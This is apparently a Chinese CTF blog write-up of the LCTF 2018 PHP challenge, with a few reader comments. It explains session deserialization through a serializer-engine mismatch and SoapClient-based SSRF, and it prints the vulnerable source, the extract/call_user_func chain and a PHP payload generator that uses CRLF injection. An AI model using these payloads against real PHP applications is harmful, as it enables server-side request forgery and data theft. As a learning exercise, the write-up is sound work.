之前和小伙伴分享过反序列的知识点,自己也总结过一些,但就是session反序列化没有实操过,今天本来准备去玩Ha1cyon-ctf但因为靶场有点问题,一直被D,真是辛苦运维师傅了,然后我就去buu刷题了…hhh,发现了这个宝藏题,复现session反序列化的同时也熟练了原生类反序列化

复现:

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { }

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag; 
   }
only localhost can get flag!
触发反序列化

给出了两个源码,从flag.php可以知道,应该是要ssrf读出flag,在第一个页面

session_start(); 
if (isset($_GET['name'])) { 
$_SESSION['name'] = $_GET['name']; 
}

session_start();会进行反序列化操作,而且name可控,可以在name处传入恶意的payload,这里是默认的php反序列化引擎,我们可以靠传入php_serialize引擎序列化后的内容,利用php引擎错误的解析,将恶意的payload释放。

session反序列利用原理

如果php反序列化session数据时所使用的的引擎与序列化时的引擎不同,就会造成数据解析时出现错误。这时如果反序列化session的值可以控制,就可以构造恶意数据利用脚本中的漏洞函数点进行攻击

这里用到php_serialize与php

  • Php引擎下,会将 | 作为key和value分隔符
  • 如果:php_serialize引擎传入:
    $_SESSION['aa']='|O:6:"m0n1ca":0:{}';
  • 得到 a:1:{s:2:“aa”;s:18:“|O:6:“m0n1ca”:0:{}”;}
  • 在php引擎下解析时,会将a:1:{s:2:“aa”;s:18:” 当成key
  • 将 O:6:“m0n1ca”:0:{} 作为value 这时就会逃逸出这个新的类 m0n1ca
利用反序列化触发ssrf

从源码中找不到任何可以触发SSRF的类,之前做BJDCTF的时候接触了php原生类的反序列化

在原生类中存在Soapclient类__call方法可以触发SSRF

参考:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

但是触发_call,需要调用不存在的方法,又需要一些条件,源码中为我们提供了调用的方法

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

利用回调函数call_user_func

call_user_func($b, $a);将$b作为回调函数调用,此时$a为数组,

小细节:$a为数组,这个函数在传入参数为数组时,会将key当做类,value当做方法

有了这个小细节,我们可以将$b改为call_user_func,将name传参为Soapclient

这样就可以在Soapclientl类中调用welcome_to_the_lctf2018这个不存在的方法,触发_call

call_user_func($_GET['f'], $_POST);

f传参为extract将覆盖$b为call_user_func

call_user_func(call_user_func, $a);--->call_user_func(array('Soapclientl','welcome_to_the_lctf2018'));
payload
<?php
$a = new SoapClient(null,array('uri'=>'http://127.0.0.1/flag.php', 'location'=>'http://127.0.0.1/flag.php'));
$b = serialize($a);
$b = str_replace('^^', "\r\n", $b);
echo urlencode($b);
?>

这里有必要记录一下,

$b = str_replace('^^', "\r\n", $b);

第一次没有替换根本打不出flag,这里我是看了别的师傅的wp才学到的。

这里涉及到CRLF

CRLF

参考:https://www.jianshu.com/p/d4c304dbd0af

先以php_serialize引擎接受参数name,传入恶意payload,这里恶意的payload,需要在前面加上 |  使我们的payload逃逸出来。

恶意payload打进去,然后就是以php引擎触发我们的恶意payload

这里已经将flag.php写入到了session中,并给了PHPSESSID


3 条评论

m0n1ca · 2020年4月19日 下午8:55

CRLF还是有点没有理解透彻…..

DDD · 2020年4月26日 下午7:47

师傅我来了

知识点总结part5-php反序列化 – M0n1ca's blog · 2020年8月1日 下午7:02

[…] 题目练习:http://www.m0n1ca.top/index.php/bestphps-revengephp_session […]

发表评论

电子邮件地址不会被公开。 必填项已用*标注